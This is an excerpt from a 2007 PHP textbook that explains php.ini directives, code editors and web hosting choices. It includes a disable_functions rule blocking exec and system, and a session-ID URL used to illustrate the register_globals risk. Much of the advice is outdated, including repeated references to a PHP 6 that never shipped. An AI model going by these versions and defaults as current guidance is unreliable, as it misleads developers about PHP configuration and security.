Gilmore_Bryla_770-2C02.fm Page 24 Saturday, July 21, 2007 12:22 PM
24
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
of output buffering. When enabled, output buffering tells PHP to send all output at once, after the script has been completed. This way, any subsequent changes to the header can be made throughout the script because it hasn’t yet been sent. Enabling the output_buffering directive turns output buffering on. Alternatively, you can limit the size of the output buffer (thereby implicitly enabling output buffering) by setting it to the maximum number of bytes you’d like this buffer to contain. If you do not plan to use output buffering, you should disable this directive because it will hinder performance slightly. Of course, the easiest solution to the header issue is simply to pass the information before any other content whenever possible.
output_handler = string Scope: PHP_INI_ALL; Default value: NULL This interesting directive tells PHP to pass all output through a function before returning it to the requesting user. For example, suppose you want to compress all output before returning it to the browser, a feature supported by all mainstream HTTP/1.1-compliant browsers. You can assign output_handler like so: output_handler = "ob_gzhandler" ob_gzhandler() is PHP’s compression-handler function, located in PHP’s output control library. Keep in mind that you cannot simultaneously set output_handler to ob_gzhandler() and enable zlib.output_compression (discussed next).
zlib.output_compression = On | Off | integer Scope: PHP_INI_SYSTEM; Default value: Off Compressing output before it is returned to the browser can save bandwidth and time. This HTTP/1.1 feature is supported by most modern browsers and can be safely used in most applications. You enable automatic output compression by setting zlib.output_compression to On. In addition, you can simultaneously enable output compression and set a compression buffer size (in bytes) by assigning zlib.output_compression an integer value.
zlib.output_handler = string Scope: PHP_INI_SYSTEM; Default value: NULL The zlib.output_handler specifies a particular compression library if the zlib library is not available.
implicit_flush = On | Off Scope: PHP_INI_SYSTEM; Default value: Off Enabling implicit_flush results in automatically clearing, or flushing, the output buffer of its contents after each call to print() or echo(), and completing each embedded HTML block. This might be useful in an instance where the server requires an unusually long period of time to compile results or perform certain calculations. In such cases, you can use this feature to output status updates to the user rather than just wait until the server completes the procedure.
unserialize_callback_func = string Scope: PHP_INI_ALL; Default value: NULL This directive allows you to control the response of the unserializer when a request is made to instantiate an undefined class. For most users, this directive is irrelevant because PHP already outputs a warning in such instances if PHP’s error reporting is tuned to the appropriate level.
Gilmore_Bryla_770-2C02.fm Page 25 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
serialize_precision = integer Scope: PHP_INI_ALL; Default value: 100 The serialize_precision directive determines the number of digits stored after the floating point when doubles and floats are serialized. Setting this to an appropriate value ensures that the precision is not potentially lost when the numbers are later unserialized.
allow_call_time_pass_reference = On | Off Scope: PHP_INI_SYSTEM; Default value: On Function arguments can be passed in two ways: by value and by reference. Exactly how each argument is passed to a function at function call time can be specified in the function definition, which is the recommended means for doing so. However, you can force all arguments to be passed by reference at function call time by enabling allow_call_time_pass_reference. The discussion of PHP functions in Chapter 4 addresses how functional arguments can be passed both by value and by reference, and the implications of doing so.
Safe Mode When you deploy PHP in a multiuser environment, such as that found on an ISP’s shared server, you might want to limit its functionality. As you might imagine, offering all users full reign over all PHP’s functions could open up the possibility for exploiting or damaging server resources and files. As a safeguard for using PHP on shared servers, PHP can be run in a restricted, or safe, mode. Enabling safe mode will disable quite a few functions and various features deemed to be potentially insecure and thus possibly damaging if they are misused within a local script. A small sampling of these disabled functions and features includes parse_ini_file(), chmod(), chown(), chgrp(), exec(), system(), and backtick operators. Enabling safe mode also ensures that the owner of the executing script matches the owner of any file or directory targeted by that script. However, this latter restriction in particular can have unexpected and inconvenient effects because files can often be uploaded and otherwise generated by other user IDs. In addition, enabling safe mode opens up the possibility for activating a number of other restrictions via other PHP configuration directives, each of which is introduced in this section.
■Note
Due in part to confusion caused by the name and approach of this particular feature, coupled with the unintended consequences brought about due to multiple user IDs playing a part in creating and owning various files, PHP’s safe mode feature has been removed from PHP 6.
safe_mode = On | Off Scope: PHP_INI_SYSTEM; Default value: Off Enabling the safe_mode directive results in PHP being run under the aforementioned constraints.
safe_mode_gid = On | Off Scope: PHP_INI_SYSTEM; Default value: Off When safe mode is enabled, an enabled safe_mode_gid enforces a GID (group ID) check when opening files. When safe_mode_gid is disabled, a more restrictive UID (user ID) check is enforced.
safe_mode_include_dir = string Scope: PHP_INI_SYSTEM; Default value: NULL
25
Gilmore_Bryla_770-2C02.fm Page 26 Saturday, July 21, 2007 12:22 PM
26
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
The safe_mode_include_dir provides a safe haven from the UID/GID checks enforced when safe_mode and potentially safe_mode_gid are enabled. UID/GID checks are ignored when files are opened from the assigned directory.
safe_mode_exec_dir = string Scope: PHP_INI_SYSTEM; Default value: NULL When safe mode is enabled, the safe_mode_exec_dir parameter restricts execution of executables via the exec() function to the assigned directory. For example, if you want to restrict execution to functions found in /usr/local/bin, you use this directive: safe_mode_exec_dir = "/usr/local/bin"
safe_mode_allowed_env_vars = string Scope: PHP_INI_SYSTEM; Default value: PHP_ When safe mode is enabled, you can restrict which operating system–level environment variables users can modify through PHP scripts with the safe_mode_allowed_env_vars directive. For example, setting this directive as follows limits modification to only those variables with a PHP_ prefix: safe_mode_allowed_env_vars = "PHP_" Keep in mind that leaving this directive blank means that the user can modify any environment variable.
safe_mode_protected_env_vars = string Scope: PHP_INI_SYSTEM; Default value: LD_LIBRARY_PATH The safe_mode_protected_env_vars directive offers a means for explicitly preventing certain environment variables from being modified. For example, if you want to prevent the user from modifying the PATH and LD_LIBRARY_PATH variables, you use this directive: safe_mode_protected_env_vars = "PATH, LD_LIBRARY_PATH"
open_basedir = string Scope: PHP_INI_SYSTEM; Default value: NULL Much like Apache’s DocumentRoot directive, PHP’s open_basedir directive can establish a base directory to which all file operations will be restricted. This prevents users from entering otherwise restricted areas of the server. For example, suppose all Web material is located within the directory /home/www. To prevent users from viewing and potentially manipulating files like /etc/passwd via a few simple PHP commands, consider setting open_basedir like this: open_basedir = "/home/www/" Note that the influence exercised by this directive is not dependent upon the safe_mode directive.
disable_functions = string Scope: PHP_INI_SYSTEM; Default value: NULL In certain environments, you may want to completely disallow the use of certain default functions, such as exec() and system(). Such functions can be disabled by assigning them to the disable_functions parameter, like this: disable_functions = "exec, system"; Note that the influence exercised by this directive is not dependent upon the safe_mode directive.
Gilmore_Bryla_770-2C02.fm Page 27 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
disable_classes = string Scope: PHP_INI_SYSTEM; Default value: NULL Given the capabilities offered by PHP’s embrace of the object-oriented paradigm, it likely won’t be too long before you’re using large sets of class libraries. There may be certain classes found within these libraries that you’d rather not make available, however. You can prevent the use of these classes via the disable_classes directive. For example, if you want to disable two particular classes, named vector and graph, you use the following: disable_classes = "vector, graph" Note that the influence exercised by this directive is not dependent upon the safe_mode directive.
ignore_user_abort = Off | On Scope: PHP_INI_ALL; Default value: On How many times have you browsed to a particular page only to exit or close the browser before the page completely loads? Often such behavior is harmless. However, what if the server is in the midst of updating important user profile information, or completing a commercial transaction? Enabling ignore_user_abort causes the server to ignore session termination caused by a user- or browser-initiated interruption.
Syntax Highlighting PHP can display and highlight source code. You can enable this feature either by assigning the PHP script the extension .phps (this is the default extension and, as you’ll soon learn, can be modified) or via the show_source() or highlight_file() function. To use the .phps extension, you need to add the following line to httpd.conf: AddType application/x-httpd-php-source .phps You can control the color of strings, comments, keywords, the background, default text, and HTML components of the highlighted source through the following six directives. Each can be assigned an RGB, hexadecimal, or keyword representation of each color. For example, the color we commonly refer to as black can be represented as rgb(0,0,0), #000000, or black, respectively.
highlight.string = string Scope: PHP_INI_ALL; Default value: #DD0000
highlight.comment = string Scope: PHP_INI_ALL; Default value: #FF9900
highlight.keyword = string Scope: PHP_INI_ALL; Default value: #007700
highlight.bg = string Scope: PHP_INI_ALL; Default value: #FFFFFF
highlight.default = string Scope: PHP_INI_ALL; Default value: #0000BB
27
Gilmore_Bryla_770-2C02.fm Page 28 Saturday, July 21, 2007 12:22 PM
28
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
highlight.html = string Scope: PHP_INI_ALL; Default value: #000000
Miscellaneous The Miscellaneous category consists of a single directive, expose_php.
expose_php = On | Off Scope: PHP_INI_SYSTEM; Default value: On Each scrap of information that a potential attacker can gather about a Web server increases the chances that he will successfully compromise it. One simple way to obtain key information about server characteristics is via the server signature. For example, Apache will broadcast the following information within each response header by default: Apache/2.2.0 (Unix) PHP/6.0.0 PHP/6.0.0-dev Server at www.example.com Port 80 Disabling expose_php prevents the Web server signature (if enabled) from broadcasting the fact that PHP is installed. Although you need to take other steps to ensure sufficient server protection, obscuring server properties such as this one is nonetheless heartily recommended.
■Note
You can disable Apache’s broadcast of its server signature by setting ServerSignature to Off in the httpd.conf file.
Resource Limits Although PHP’s resource-management capabilities were improved in version 5, you must still be careful to ensure that scripts do not monopolize server resources as a result of either programmeror user-initiated actions. Three particular areas where such overconsumption is prevalent are script execution time, script input processing time, and memory. Each can be controlled via the following three directives.
max_execution_time = integer Scope: PHP_INI_ALL; Default value: 30 The max_execution_time parameter places an upper limit on the amount of time, in seconds, that a PHP script can execute. Setting this parameter to 0 disables any maximum limit. Note that any time consumed by an external program executed by PHP commands, such as exec() and system(), does not count toward this limit.
max_input_time = integer Scope: PHP_INI_ALL; Default value: 60 The max_input_time parameter places a limit on the amount of time, in seconds, that a PHP script devotes to parsing request data. This parameter is particularly important when you upload large files using PHP’s file upload feature, which is discussed in Chapter 15.
memory_limit = integerM Scope: PHP_INI_ALL; Default value: 8M
Gilmore_Bryla_770-2C02.fm Page 29 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
The memory_limit parameter determines the maximum amount of memory, in megabytes, that can be allocated to a PHP script.
Data Handling The parameters introduced in this section affect the way that PHP handles external variables— that is, variables passed into the script via some outside source. GET, POST, cookies, the operating system, and the server are all possible candidates for providing external data. Other parameters located in this section determine PHP’s default character set, PHP’s default MIME type, and whether external files will be automatically prepended or appended to PHP’s returned output.
arg_separator.output = string Scope: PHP_INI_ALL; Default value: & PHP is capable of automatically generating URLs and uses the standard ampersand (&) to separate input variables. However, if you need to override this convention, you can do so by using the arg_separator.output directive.
arg_separator.input = string Scope: PHP_INI_ALL; Default value: ;& The ampersand (&) is the standard character used to separate input variables passed in via the POST or GET methods. Although unlikely, should you need to override this convention within your PHP applications, you can do so by using the arg_separator.input directive.
variables_order = string Scope: PHP_INI_ALL; Default value: EGPCS The variables_order directive determines the order in which the ENVIRONMENT, GET, POST, COOKIE, and SERVER variables are parsed. While seemingly irrelevant, if register_globals is enabled (not recommended), the ordering of these values could result in unexpected results due to later variables overwriting those parsed earlier in the process.
register_globals = On | Off Scope: PHP_INI_SYSTEM; Default value: Off If you have used a pre-4.0 version of PHP, the mere mention of this directive is enough to evoke gnashing of the teeth and pulling of the hair. To eliminate the problems, this directive was disabled by default in version 4.2.0 , but at the cost of forcing many long-time PHP users to entirely rethink (and in some cases rewrite) their Web application development methodology. This change, although done at a cost of considerable confusion, ultimately serves the best interests of developers in terms of greater application security. If you’re new to all of this, what’s the big deal? Historically, all external variables were automatically registered in the global scope. That is, any incoming variable of the types COOKIE, ENVIRONMENT, GET, POST, and SERVER were made available globally. Because they were available globally, they were also globally modifiable. Although this might seem convenient to some people, it also introduced a security deficiency because variables intended to be managed solely by using a cookie could also potentially be modified via the URL. For example, suppose that a session identifier uniquely identifying the user is communicated across pages via a cookie. Nobody but that user should see the data that is ultimately mapped to the user identified by that session identifier. A user could open the cookie, copy the session identifier, and paste it onto the end of the URL, like this: http://www.example.com/secretdata.php?sessionid=4x5bh5H793adK
29
Gilmore_Bryla_770-2C02.fm Page 30 Saturday, July 21, 2007 12:22 PM
30
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
The user could then e-mail this link to some other user. If there are no other security restrictions in place (e.g., IP identification), this second user will be able to see the otherwise confidential data. Disabling the register_globals directive prevents such behavior from occurring. While these external variables remain in the global scope, each must be referred to in conjunction with its type. For example, the sessionid variable in the previous example would instead be referred to solely as the following: $_COOKIE['sessionid'] Any attempt to modify this parameter using any other means (e.g., GET or POST) causes a new variable in the global scope of that means ($_GET['sessionid'] or $_POST['sessionid']). In Chapter 3, the section on PHP’s superglobal variables offers a thorough introduction to external variables of the COOKIE, ENVIRONMENT, GET, POST, and SERVER types. Although disabling register_globals is unequivocally a good idea, it isn’t the only factor you should keep in mind when you secure an application. Chapter 21 offers more information about PHP application security.
■Note
The register_globals feature has been a constant source of confusion and security-related problems over the years. Accordingly, it is no longer available as of PHP 6.
register_long_arrays = On | Off Scope: PHP_INI_SYSTEM; Default value: On This directive determines whether to continue registering the various input arrays (ENVIRONMENT, GET, POST, COOKIE, SYSTEM) using the deprecated syntax, such as HTTP_*_VARS. Disabling this directive is recommended for performance reasons.
■Note
The register_long_arrays directive is no longer available as of PHP 6.
register_argc_argv = On | Off Scope: PHP_INI_SYSTEM; Default value: On Passing in variable information via the GET method is analogous to passing arguments to an executable. Many languages process such arguments in terms of argc and argv. argc is the argument count, and argv is an indexed array containing the arguments. If you would like to declare variables $argc and $argv and mimic this functionality, enable register_argc_argv.
post_max_size = integerM Scope: PHP_INI_SYSTEM; Default value: 8M Of the two methods for passing data between requests, POST is better equipped to transport large amounts, such as what might be sent via a Web form. However, for both security and performance reasons, you might wish to place an upper ceiling on exactly how much data can be sent via this method to a PHP script; this can be accomplished using post_max_size.
Gilmore_Bryla_770-2C02.fm Page 31 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
WORKING WITH SINGLE AND DOUBLE QUOTES Quotes, both of the single and double variety, have long played a special role in programming. Because they are commonly used both as string delimiters and in written language, you need a way to differentiate between the two in programming, to eliminate confusion. The solution is simple: escape any quote mark not intended to delimit the string. If you don’t do this, unexpected errors could occur. Consider the following: $sentence = "John said, "I love racing cars!""; Which quote marks are intended to delimit the string, and which are used to delimit John’s utterance? PHP doesn’t know, unless certain quote marks are escaped, like this: $sentence = "John said, \"I love racing cars!\""; Escaping nondelimiting quote marks is known as enabling magic quotes. This process could be done either automatically, by enabling the directive magic_quotes_gpc (introduced in this section), or manually, by using the functions addslashes() and stripslashes(). The latter strategy is recommended because it enables you to wield total control over the application, although in those cases where you’re trying to use an application in which the automatic escaping of quotations is expected, you’ll need to enable this behavior accordingly. Three parameters have long determined how PHP behaves in this regard: magic_quotes_gpc, magic_quotes_runtime, and magic_quotes_sybase. However, because this feature has long been a source of confusion among developers, it’s been removed as of PHP 6.
magic_quotes_gpc = On | Off Scope: PHP_INI_SYSTEM; Default value: On This parameter determines whether magic quotes are enabled for data transmitted via the GET, POST, and cookie methodologies. When enabled, all single and double quotes, backslashes, and null characters are automatically escaped with a backslash.
magic_quotes_runtime = On | Off Scope: PHP_INI_ALL; Default value: Off Enabling this parameter results in the automatic escaping (using a backslash) of any quote marks located within data returned from an external resource, such as a database or text file.
magic_quotes_sybase = On | Off Scope: PHP_INI_ALL; Default value: Off This parameter is only of interest if magic_quotes_runtime is enabled. If magic_quotes_sybase is enabled, all data returned from an external resource will be escaped using a single quote rather than a backslash. This is useful when the data is being returned from a Sybase database, which employs a rather unorthodox requirement of escaping special characters with a single quote rather than a backslash.
auto_prepend_file = string Scope: PHP_INI_SYSTEM; Default value: NULL Creating page header templates or including code libraries before a PHP script is executed is most commonly done using the include() or require() function. You can automate this process and forgo the inclusion of these functions within your scripts by assigning the file name and corresponding path to the auto_prepend_file directive.
31
Gilmore_Bryla_770-2C02.fm Page 32 Saturday, July 21, 2007 12:22 PM
32
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
auto_append_file = string Scope: PHP_INI_SYSTEM; Default value: NULL Automatically inserting footer templates after a PHP script is executed is most commonly done using the include() or require() functions. You can automate this process and forgo the inclusion of these functions within your scripts by assigning the template file name and corresponding path to the auto_append_file directive.
default_mimetype = string Scope: PHP_INI_ALL; Default value: text/html MIME types offer a standard means for classifying file types on the Internet. You can serve any of these file types via PHP applications, the most common of which is text/html. If you’re using PHP in other fashions, however, such as a content generator for WML (Wireless Markup Language) applications, you need to adjust the MIME type accordingly. You can do so by modifying the default_mimetype directive.
default_charset = string Scope: PHP_INI_ALL; Default value: iso-8859-1 As of version 4.0, PHP outputs a character encoding in the Content-Type header. By default this is set to iso-8859-1, which supports languages such as English, Spanish, German, Italian, and Portuguese, among others. If your application is geared toward languages such as Japanese, Chinese, or Hebrew, however, the default_charset directive allows you to update this character set setting accordingly.
always_populate_raw_post_data = On | Off Scope: PHP_INI_PERDIR; Default value: On Enabling the always_populate_raw_post_data directive causes PHP to assign a string consisting of POSTed name/value pairs to the variable $HTTP_RAW_POST_DATA, even if the form variable has no corresponding value. For example, suppose this directive is enabled and you create a form consisting of two text fields, one for the user’s name and another for the user’s e-mail address. In the resulting form action, you execute just one command: echo $HTTP_RAW_POST_DATA; Filling out neither field and clicking the Submit button results in the following output:
name=&email=
Filling out both fields and clicking the Submit button produces output similar to the following:
name=jason&email=jason%40example.com
Paths and Directories This section introduces directives that determine PHP’s default path settings. These paths are used for including libraries and extensions, as well as for determining user Web directories and Web document roots.
Gilmore_Bryla_770-2C02.fm Page 33 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
include_path = string Scope: PHP_INI_ALL; Default value: NULL The path to which this parameter is set serves as the base path used by functions such as include(), require(), and fopen_with_path(). You can specify multiple directories by separating each with a semicolon, as shown in the following example: include_path=".:/usr/local/include/php;/home/php" By default, this parameter is set to the path defined by the environment variable PHP_INCLUDE_PATH. Note that on Windows, backward slashes are used in lieu of forward slashes, and the drive letter prefaces the path: include_path=".;C:\php6\includes"
doc_root = string Scope: PHP_INI_SYSTEM; Default value: NULL This parameter determines the default from which all PHP scripts will be served. This parameter is used only if it is not empty.
user_dir = string Scope: PHP_INI_SYSTEM; Default value: NULL The user_dir directive specifies the absolute directory PHP uses when opening files using the /~username convention. For example, when user_dir is set to /home/users and a user attempts to open the file ~/gilmore/collections/books.txt, PHP knows that the absolute path is /home/ users/ gilmore/collections/books.txt.
extension_dir = string Scope: PHP_INI_SYSTEM; Default value: ./ The extension_dir directive tells PHP where its loadable extensions (modules) are located. By default, this is set to ./, which means that the loadable extensions are located in the same directory as the executing script. In the Windows environment, if extension_dir is not set, it will default to C:\PHP-INSTALLATION-DIRECTORY\ext\. In the Linux environment, the exact location of this directory depends on several factors, although it’s quite likely that the location will be PHP-INSTALLATIONDIRECTORY/lib/php/extensions/no-debug-zts-RELEASE-BUILD-DATE/.
enable_dl = On | Off Scope: PHP_INI_SYSTEM; Default value: On The enable_dl() function allows a user to load a PHP extension at run time—that is, during a script’s execution.
Fopen Wrappers This section contains five directives pertinent to the access and manipulation of remote files.
allow_url_fopen = On | Off Scope: PHP_INI_ALL; Default value: On Enabling allow_url_fopen allows PHP to treat remote files almost as if they were local. When enabled, a PHP script can access and modify files residing on remote servers, if the files have the correct permissions.
33
Gilmore_Bryla_770-2C02.fm Page 34 Saturday, July 21, 2007 12:22 PM
34
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
from = string Scope: PHP_INI_ALL; Default value: NULL The title of the from directive is perhaps misleading in that it actually determines the password, rather than the identity, of the anonymous user used to perform FTP connections. Therefore, if from is set like this from = "
[email protected]" the username anonymous and password
[email protected] will be passed to the server when authentication is requested.
user_agent = string Scope: PHP_INI_ALL; Default value: NULL PHP always sends a content header along with its processed output, including a user agent attribute. This directive determines the value of that attribute.
default_socket_timeout = integer Scope: PHP_INI_ALL; Default value: 60 This directive determines the time-out value of a socket-based stream, in seconds.
auto_detect_line_endings = On | Off Scope: PHP_INI_ALL; Default value: Off One never-ending source of developer frustration is derived from the end-of-line (EOL) character because of the varying syntax employed by different operating systems. Enabling auto_detect_ line_endings determines whether the data read by fgets() and file() uses Macintosh, MS-DOS, or Linux file conventions.
Dynamic Extensions This section contains a single directive, extension.
extension = string Scope: PHP_INI_ALL; Default value: NULL The extension directive is used to dynamically load a particular module. On the Win32 operating system, a module might be loaded like this: extension = php_java.dll On Unix, it would be loaded like this: extension = php_java.so Keep in mind that on either operating system, simply uncommenting or adding this line doesn’t necessarily enable the relevant extension. You’ll also need to ensure that the appropriate software is installed on the operating system. For example, to enable Java support, you also need to install the JDK.
Gilmore_Bryla_770-2C02.fm Page 35 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
Choosing a Code Editor While there’s nothing wrong with getting started writing PHP scripts using no-frills editors such as Windows Notepad or vi, chances are you’re soon going to want to graduate to a full-fledged PHPspecific development solution. Several open source and commercial solutions are available.
Adobe Dreamweaver CS3 Formerly known as Macromedia Dreamweaver MX, Adobe’s Dreamweaver CS3 is considered by many to be the ultimate Web designer’s toolkit. Intended to be a one-stop application, Dreamweaver CS3 supports all of the key technologies, such as Ajax, CSS, HTML, JavaScript, PHP, and XML, which together drive cutting-edge Web sites. In addition to allowing developers to create Web pages in WYSIWYG (what-you-see-is-whatyou-get) fashion, Dreamweaver CS3 offers a number of convenient features for helping PHP developers more effectively write and manage code, including syntax highlighting, code completion, and the ability to easily save and reuse code snippets. Adobe Dreamweaver CS3 (http://www.adobe.com/products/dreamweaver/) is available for the Windows and Mac OS X platforms, and retails for $399.
■Tip
If you settle upon Dreamweaver, consider picking up a copy of The Essential Guide to Dreamweaver CS3 with CSS, Ajax, and PHP by David Powers (friends of ED, 2007). Learn more about the book at http://www. friendsofed.com/.
Notepad++ Notepad++ is a mature open source code editor and avowed Notepad replacement available for the Windows platform. Translated into 41 languages, Notepad++ offers a wide array of convenient features one would expect of any capable IDE, including the ability to bookmark specific lines of a document for easy reference; syntax, brace, and indentation highlighting; powerful search facilities; macro recording for tedious tasks such as inserting templated comments; and much more. PHP-specific support is fairly slim, with much of the convenience coming from the general features. However, rudimentary support for auto-completion of function names is offered, which will cut down on some typing, although you’re still left to your own devices regarding remembering parameter names and ordering. Notepad++ is only available for the Windows platform and is released under the GNU GPL. Learn more about it and download it at http://notepad-plus.sourceforge.net/.
PDT (PHP Development Tools) The PDT project (http://www.eclipse.org/pdt/) is currently seeing quite a bit of momentum. Backed by leading PHP products and services provider Zend Technologies Ltd. (http://www.zend.com/), and built on top of the open source Eclipse platform (http://www.eclipse.org/), a wildly popular extensible framework used for building development tools, PDT is the likely front-runner to become the de facto PHP IDE for hobbyists and professionals alike.
35
Gilmore_Bryla_770-2C02.fm Page 36 Saturday, July 21, 2007 12:22 PM
36
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
■Note
The Eclipse framework has been the basis for a wide array of projects facilitating crucial development tasks such as data modeling, business intelligence and reporting, testing and performance monitoring, and, most notably, writing code. While Eclipse is best known for its Java IDE, it also has IDEs for languages such as C, C++, Cobol, and more recently PHP.
Zend Studio Zend Studio is far and away the most powerful PHP IDE of all commercial and open source offerings available today. A flagship product of leading PHP products and services provider Zend Technologies Ltd., Zend Studio offers all of the features one would expect of an enterprise IDE, including comprehensive code completion, CVS and Subversion integration, internal and remote debugging, code profiling, and convenient code deployment processes. Facilities integrating code with popular databases such as MySQL, Oracle, PostgreSQL, and SQLite are also offered, in addition to the ability to execute SQL queries and view and manage database schemas and data. Zend Studio (http://www.zend.com/products/zend_studio/) is available for the Windows, Linux, and Mac OS X platforms in two editions: standard and professional. The Standard Edition lacks key features such as database, CVS/Subversion, and Web Services integration but retails at just $99. The Professional Edition offers all of the aforementioned features and more and retails at $299.
Choosing a Web Hosting Provider Unless you work with an organization that already has an established Web site hosting environment, eventually you’re going to have to evaluate and purchase the services of a Web hosting provider. Thankfully this is an extremely crowded and competitive market, with providers vying for your business, often by offering an impressive array of services, disk space, and bandwidth at very low prices. Generally speaking, hosting providers can be broken into three categories: • Dedicated server hosting: Dedicated server hosting involves leasing an entire Web server, allowing your Web site full reign over server CPU, disk space, and memory resources, as well as control over how the server is configured. This solution is particularly advantageous because you typically have complete control over the server’s administration while not having to purchase or maintain the server hardware, hosting facility, or the network connection. • Shared server hosting: If your Web site will require modest server resources, or if you don’t want to be bothered with managing the server, shared server hosting is likely the ideal solution. Shared hosting providers capitalize on these factors by hosting numerous Web sites on a single server and using highly automated processes to manage system and network resources, data backups, and user support. The result is that they’re able to offer appealing pricing arrangements (many respected shared hosting providers offer no-contract monthly rates for as low as $8 a month) while simultaneously maintaining high customer satisfaction. • Virtual private server hosting: A virtual private server blurs the line between a dedicated and shared server, providing each user with a dedicated operating system and the ability to install applications and fully manage the server by way of virtualization. Virtualization provides a way to run multiple distinct operating systems on the same server. The result is complete control for the user while simultaneously allowing the hosting provider to keep costs low and pass those savings along to the user.
Gilmore_Bryla_770-2C02.fm Page 37 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
Keep in mind this isn’t necessarily a high-priority task; there’s no need to purchase Web hosting services until you’re ready to deploy your Web site. Therefore, even in spite of the trivial hosting rates, consider saving some time, money, and distraction by waiting to evaluate these services until absolutely necessary.
Seven Questions for Any Prospective Hosting Provider On the surface, most Web hosting providers offer a seemingly identical array of offerings, boasting absurd amounts of disk space, endless bandwidth, and impressive guaranteed server uptimes. Frankly, chances are that any respected hosting provider is going to meet and even surpass your expectations, not only in terms of its ability to meet the resource requirements of your Web site, but also in terms of its technical support services. However, as a PHP developer, there are several questions you should ask before settling upon a provider: 1. Is PHP supported, and if so, what versions are available? Many hosting providers have been aggravatingly slow to upgrade to the latest PHP version, with many still offering only PHP 4, despite PHP 5 having been released more than three years ago. Chances are it will take at least as long for most to upgrade to PHP 6, therefore, if you’re planning on taking advantage of version-specific features, be sure the candidate provider supports the appropriate version. Further, it would be particularly ideal if the provider simultaneously supported multiple PHP versions, allowing you to take advantage of various PHP applications that have yet to support the latest PHP version. 2. Is MySQL/Oracle/PostgreSQL supported, and if so, what versions are available? Like PHP, hosting providers have historically been slow to upgrade to the latest database version. Therefore, if you require features available only as of a certain version, be sure to confirm that the provider supports that version. 3. What PHP file extensions are supported? Inexplicably, some hosting providers continue to demand users use deprecated file extensions such as .php3 for PHP-enabled scripts, despite having upgraded their servers to PHP version 4 or newer. This is an indicator of the provider’s lack of understanding regarding the PHP language and community and therefore you should avoid such a provider. Only providers allowing the standard .php extension should be considered. 4. What restrictions are placed on PHP-enabled scripts? As you learned earlier in this chapter, PHP’s behavior and capabilities can be controlled through the php.ini file. Some of these configuration features were put into place for the convenience of hosting providers, who may not always want to grant all of PHP’s power to its users. Accordingly, some functions and extensions may be disabled, which could ultimately affect what features you’ll be able to offer on your Web site. Additionally, some providers demand all PHP-enabled scripts are placed in a designated directory, which can be tremendously inconvenient and of questionable advantage in terms of security considerations. Ideally, the provider will allow you to place your PHP-enabled scripts wherever you please within the designated account directory. 5. What restrictions are placed on using Apache .htaccess files? Some third-party software, most notably Web frameworks (see Chapter 25), require that a feature known as URL rewriting be enabled in order to properly function; however, not all hosting providers allow users to tweak Apache’s behavior through special configuration files known as .htaccess files. Therefore, know what limitations, if any, are placed on their use.
37
Gilmore_Bryla_770-2C02.fm Page 38 Saturday, July 21, 2007 12:22 PM
38
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
6. What PHP software do you offer by default, and do you support it? Most hosting providers offer automated installers for installing popular third-party software such as Joomla!, WordPress, and phpBB. Using these installers will save you some time, and will help the hosting provider troubleshoot any problems that might arise. However, be wary that some providers only offer this software for reasons of convenience and will not offer technical assistance. Therefore, be prepared to do your own homework should you have questions or encounter problems using third-party software. Additionally, you should ask whether the provider will install PEAR and PECL extensions upon request (see Chapter 11). 7. Does (insert favorite Web framework or technology here) work properly on your servers? If you’re planning on using a particular PHP-powered Web framework (see Chapter 25 for more information about frameworks) or a specific technology (e.g., a third-party e-commerce solution), you should take care to make sure this software works properly on the hosting provider’s servers. If the hosting provider can’t offer a definitive answer, search various online forums using the technology name and the hosting provider as keywords.
Summary In this chapter you learned how to configure your environment to support the development of PHPdriven Web applications. Special attention was given to PHP’s many run-time configuration options. Finally, you were presented with a brief overview of the most commonly used PHP editors and IDEs, in addition to some insight into what to keep in mind when searching for a Web hosting provider. In the next chapter, you’ll begin your foray into the PHP language by creating your first PHPdriven Web page and learning about the language’s fundamental features. By its conclusion, you’ll be able to create simplistic yet quite useful scripts. This material sets the stage for subsequent chapters, where you’ll gain the knowledge required to start building some really cool applications.
Gilmore_Bryla_770-2C03.fm Page 39 Thursday, July 26, 2007 10:04 AM
CHAPTER 3 ■■■
PHP Basics
Y
ou’re only two chapters into the book and already quite a bit of ground has been covered. By now, you are familiar with PHP’s background and history and have delved deep into the installation and configuration concepts and procedures. This material sets the stage for what will form the crux of much of the remaining material in this book: creating powerful PHP applications. This chapter initiates this discussion, introducing a great number of the language’s foundational features. Specifically, you’ll learn how to do the following: • Embed PHP code into your Web pages • Comment code using the various methodologies borrowed from the Unix shell scripting, C, and C++ languages • Output data to the browser using the echo(), print(), printf(), and sprintf() statements • Use PHP’s datatypes, variables, operators, and statements to create sophisticated scripts • Take advantage of key control structures and statements, including if-else-elseif, while, foreach, include, require, break, continue, and declare By the conclusion of this chapter, you’ll possess not only the knowledge necessary to create basic but useful PHP applications, but also an understanding of what’s required to make the most of the material covered in later chapters.
■Note
This chapter simultaneously serves as both a tutorial for novice programmers and a reference for experienced programmers who are new to the PHP language. If you fall into the former category, consider reading the chapter in its entirety and following along with the examples.
